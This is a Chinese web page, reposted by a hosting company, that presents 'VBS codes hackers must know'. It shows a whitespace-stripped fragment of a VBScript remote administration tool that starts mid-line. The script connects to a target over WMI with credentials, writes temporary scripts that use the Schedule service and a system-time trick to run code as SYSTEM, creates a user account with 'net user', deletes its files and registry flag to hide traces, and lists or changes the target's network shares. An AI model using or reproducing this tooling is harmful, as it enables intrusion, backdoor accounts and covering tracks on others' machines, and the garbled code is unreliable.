黑客必须要知道的几个vbs文件代码
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| ""HKLM\SOFTWARE\Microsoft\WindowsScriptHost\Settings\caflag"",""1"">>%temp%\ca.vbs" objinstproc.create(cmdline) showerroronly(err.number) cmdline="cmd/cechoatime=time>%temp%\getsys.vbs"_ &"&&echosetsh=createobject(""wscript.shell"")>>%temp%\getsys.vbs"_ &"&&echosh.run""cmd/cat23:59cscript%temp%\ca.vbs"",0,true>>%temp%\getsys.vbs"_ &"&&echosh.run""cmd/ctime23:58:59.90"",0,true>>%temp%\getsys.vbs"_ &"&&echowscript.sleep(1100)>>%temp%\getsys.vbs"_ &"&&echosh.run""cmd/ctime""^&atime,0,true>>%temp%\getsys.vbs" objinstproc.create(cmdline) showerror(err.number) outstreem.write"Processing." setcolinstsvr=objswbemservices.execquery("select*fromwin32_servicewherename=''schedule''") showerroronly(err.number) foreachobjinstsvrincolinstsvr flag1=0 flag2=0 ifobjinstsvr.startmode="Disabled"then objinstsvr.changestartmode("Manual") flag1=1 endif ifobjinstsvr.started=flasethen errnumber=objinstsvr.startservice() flag2=1 endif showerroronly(err.number) objinstproc.create("cmd/ccscript%temp%\getsys.vbs") showerroronly(err.number) setobjinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") fori=1to20 objinstreg.getstringvalue&h80000002,"SOFTWARE\Microsoft\WindowsScriptHost\Settings","caflag",svalue ifsvalue="1"then exitfor else wscript.sleep(500) endif next objinstproc.create("netuser"&causername&""&capassword) ifflag1thenobjinstsvr.changestartmode("Disabled") ifflag2thenobjinstsvr.stopservice() next ifsvalue<>"1"then wscript.echo"Error."&vbcrlf&"Waitingtimeout." else showerror(err.number) endif outstreem.write"CleanUp.." objinstproc.create("cmd/cdel%temp%\ca.vbs") showerroronly(err.number) objinstproc.create("cmd/cdel%temp%\getsys.vbs") showerroronly(err.number) ifsvalue="1"thenobjinstreg.deletevalue&h80000002,"SOFTWARE\Microsoft\WindowsScriptHost\Settings","caflag" showerror(err.number) callmain() endfunction functionshowerroronly(errornumber) iferrornumberThen wscript.echo"Error0x"&cstr(hex(err.number))&"." iferr.description<>""then wscript.echo"Errordescription:"&err.description&"." endif callmain() else outstreem.write"." endif endfunction ''*********************************************************** functionshare() Wscript.Echostring(18,"-") Wscript.Echo"0.返回CMD>=" wscript.echo"1.列出共享信息:=" Wscript.Echo"2.创建共享=" Wscript.Echo"3.删除共享=" Wscript.Echostring(18,"-") Wscript.Echo"pleasechosetheparameter:" parameters=WScript.StdIn.Readline() SelectCaseparameters case"quit","0" main() case"list","1" listshare() case"open","2"''40 openshare() case"close","3" closeshare() endSelect endfunction functionlistshare() outstreem.write"ListingtheNetsharefrom"&ipaddress&"...." SetcolShares=objswbemservices.ExecQuery("Select*fromWin32_Share") showerror(err.number)''50 wscript.echo_ ("Caption"&chr(9)&chr(9)&"Name:"&chr(9)&chr(9)&"Path") ForeachobjShareincolShares wscript.echo_ (objShare.Caption&chr(9)&objShare.Name&chr(9)&chr(9)&objShare.Path) Next wscript.echovbcrlf&"AllS |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于黑客必须要知道的几个vbs文件代码的所有评论
